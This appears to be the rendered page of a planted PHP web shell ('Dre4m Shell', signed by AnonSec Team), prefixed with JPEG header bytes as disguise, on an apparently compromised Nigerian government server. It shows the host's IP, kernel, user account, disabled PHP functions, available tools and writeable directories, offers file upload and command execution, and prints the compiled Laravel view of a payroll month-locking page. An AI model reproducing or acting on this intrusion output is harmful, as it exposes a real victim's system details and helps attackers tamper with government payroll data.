ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.119.248.100
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/92d8edd640e1e4dac1ac24e874924bd01aee5ad8.php

<?php $__env->startSection('pageTitle'); ?>
    Set Active Month
<?php $__env->stopSection(); ?>


<?php $__env->startSection('content'); ?>

    <div class="box-body" style="background:#FFF;">
        <div class="row">
            <div class="col-md-12">
                <?php if(count($errors) > 0): ?>
                    <div class="alert alert-danger alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span
                                aria-hidden="true">&times;</span>
                        </button>
                        <strong>Error!</strong>
                        <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                            <p><?php echo e($error); ?></p>
                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                    </div>
                <?php endif; ?>

                <?php if(session('message')): ?>
                    <div class="alert alert-success alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span
                                aria-hidden="true">&times;</span>
                        </button>
                        <strong>Success!</strong> <?php echo e(session('message')); ?>

                    </div>
                <?php endif; ?>

                <?php if(session('error_message')): ?>
                    <div  class="alert alert-danger alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span
                                aria-hidden="true">&times;</span> </button>
                        <strong>Error!</strong> <?php echo e(session('error_message')); ?>

                    </div>
                <?php endif; ?>


            </div>

            <!-- 1st column -->
            <div class="col-md-12">
                <h4> Lock Active Month </h4>
                <div class="form-group">
                    <label>Select a Year</label>
                        <input type="text" class="form-control" id="year" name="year" value="<?php echo e($payrollActivePeriod->year); ?>" readonly>
                </div>
                <div class="form-group">
                    <label> Select a month </label>
                        <input type="text" class="form-control" id="divisionName" name="month" value="<?php echo e($payrollActivePeriod->month); ?>" readonly>
                </div>
             
                
                

            </div>
            <!-- /.col -->

            <!-- /.col -->
        </div>


        <div class="row">
            <div class="col-md-12">
                </br>

                <div class="panel panel-success">
                    <div class="panel-heading">
                        <h3 class="panel-title">Current Active Month And Year</h3>
                    </div>
                    <!-- Place table here-->
                    <div class="panel-body">
                        <table class="table table-responsive table-bordered">
                            <thead>
                                <tr>

                                    <th>Year</th>
                                    <th>Month</th>
                                    <th>Division</th>
                                    <th>Status</th>
                                    <th>Action</th>

                                </tr>
                                <thead>
                                <tbody>
                                    <?php $__currentLoopData = $activemonth; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $active): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <tr>
                                            <td><?php echo e($active->year); ?></td>
                                            <td><?php echo e($active->month); ?></td>
                                            <td><?php echo e($active->division); ?></td>

                                            <?php if($active->salary_lock == 1): ?>
                                                <td>Locked <i class="fa fa-lock"></i></td>
                                            <?php else: ?>
                                                <td>Unlocked <i class="fa fa-lock-o"></i></td>
                                            <?php endif; ?>
                                            <?php if($active->salary_lock == 1): ?>
                                                <td><a class="btn btn-success" data-toggle="modal"
                                                        data-target="#unlock<?php echo e($active->ID); ?>">Unlock</a>
                                                </td>
                                            <?php else: ?>
                                                <td><a class="btn btn-success" data-toggle="modal"
                                                        data-target="#exampleModalCenter<?php echo e($active->ID); ?>">Lock</a></td>
                                            <?php endif; ?>

                                        </tr>
                                        <div class="modal fade" id="unlock<?php echo e($active->ID); ?>" tabindex="-1"
                                            role="dialog" aria-labelledby="exampleModalCenterTitle" aria-hidden="true">
                                            <div class="modal-dialog modal-dialog-centered" role="form">
                                                <div class="modal-content">
                                                    <div class="modal-header">
                                                        <h4 class="modal-title" id="exampleModalLongTitle">Unlock Division</h4>
                                                        <form method="post">
                                                            <?php echo e(csrf_field()); ?>



                                                    </div>
                                                    
                                                    <input type="text" hidden name="id" id=""
                                                    value="<?php echo e($active->divisionID); ?>">
                                                    <input type="text" hidden name="year" id=""
                                                        value=<?php echo e($active->year); ?>>

                                                    <input type="text" hidden name="month" id=""
                                                        value=<?php echo e($active->month); ?>>
                                                        
                                                    <div class="modal-body">
                                                        <h3> Do you want to unlock <?php echo e($active->month); ?> for <?php echo e($active->division); ?> ?</h3>
                                                    </div>
                                                    <div class="modal-footer">
                                                        <button type="button" class="btn btn-secondary"
                                                            data-dismiss="modal">Close</button>
                                                        <button type="submit" name="unlock" class="btn btn-primary">Unlock</button>
                                                        </form>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="modal fade" id="exampleModalCenter<?php echo e($active->ID); ?>" tabindex="-1"
                                            role="dialog" aria-labelledby="exampleModalCenterTitle" aria-hidden="true">
                                            <div class="modal-dialog modal-dialog-centered" role="form">
                                                <div class="modal-content">
                                                    <div class="modal-header">
                                                        <h4 class="modal-title" id="exampleModalLongTitle">Lock Division</h4>
                                                        <form method="post">
                                                            <?php echo e(csrf_field()); ?>



                                                    </div>
                                                    
                                                    <input type="text" hidden name="id" id=""
                                                        value="<?php echo e($active->divisionID); ?>">
                                                    <input type="text" hidden name="year" id=""
                                                        value=<?php echo e($active->year); ?>>
                                                        <input type="text" hidden  name="vstage" id=""
                                                        value=<?php echo e($active->vstage); ?>>

                                                    <input type="text" hidden name="month" id=""
                                                        value=<?php echo e($active->month); ?>>
                                                    <div class="modal-body">
                                                        <h3> Do you want to lock <?php echo e($active->division); ?> ?</h3>
                                                    </div>
                                                    <div class="modal-footer">
                                                        <button type="button" class="btn btn-secondary"
                                                            data-dismiss="modal">Close</button>
                                                        <button type="submit" name="process" class="btn btn-danger">Lock</button>
                                                        </form>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                </tbody>
                        </table>


                    </div>
                </div>
            </div>

        </div>
        <!-- /.row -->
    </div>





<?php $__env->stopSection(); ?>

<?php $__env->startSection('styles'); ?>
    <link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>">
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\xampp\htdocs\nicngrp\resources\views/activeMonth/active_monthlock.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team